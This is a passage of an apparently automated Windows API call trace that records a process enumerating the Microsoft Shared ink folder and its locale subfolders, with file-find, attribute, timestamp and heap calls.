ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0143.203] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0143.203] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0143.203] GetLastError () returned 0x12 [0143.203] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0143.203] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.203] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.203] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0143.203] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0143.203] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.205] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.206] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.206] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98e0d8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98e0d8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.206] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98e0d8) returned 1 [0143.206] NtClose (Handle=0x198) returned 0x0 [0143.206] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.206] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.206] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.206] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.207] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98de68 [0143.208] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98cf68 [0143.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.208] GetLastError () returned 0x12 [0143.208] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.208] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.208] GetLastError () returned 0x12 [0143.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.208] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.208] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.208] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0143.209] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.209] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0143.210] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98e0d8 [0143.210] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98e0d8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98e0d8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.210] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98e0d8) returned 1 [0143.210] NtClose (Handle=0x19c) returned 0x0 [0143.210] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.210] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.210] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.210] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.211] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.211] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.211] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e0f0 [0143.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98d070 [0143.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986738) returned 1 [0143.212] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.212] GetLastError () returned 0x12 [0143.212] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.212] FindClose (in: hFindFile=0x829c38 | out: hFindFile=0x829c38) returned 1 [0143.212] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.212] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.212] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.212] GetLastError () returned 0x12 [0143.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.212] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98ce60) returned 1 [0143.212] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.212] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0143.212] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0143.212] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0143.212] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x1a7edd8 | out: lpFileInformation=0x1a7edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0143.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.214] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0143.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98e8d8 [0143.214] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98e8d8, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x98e8d8, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0143.214] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98e8d8) returned 1 [0143.214] NtClose (Handle=0x198) returned 0x0 [0143.214] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986848 [0143.214] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x986738 [0143.214] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829bf8 [0143.214] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.215] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0143.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.215] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.215] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9867c0 [0143.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98ce60 [0143.215] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x986848) returned 1 [0143.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98e110 [0143.215] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98d178 [0143.216] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x280) returned 0x9839e0 [0143.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0143.216] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9867c0) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7ec24 | out: lpFindFileData=0x1a7ec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0143.216] GetLastError () returned 0x12 [0143.216] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7ec24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7ec24) returned 0x829c38 [0143.216] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x829c38, lpFindFileData=0x1a7ec24 | out: 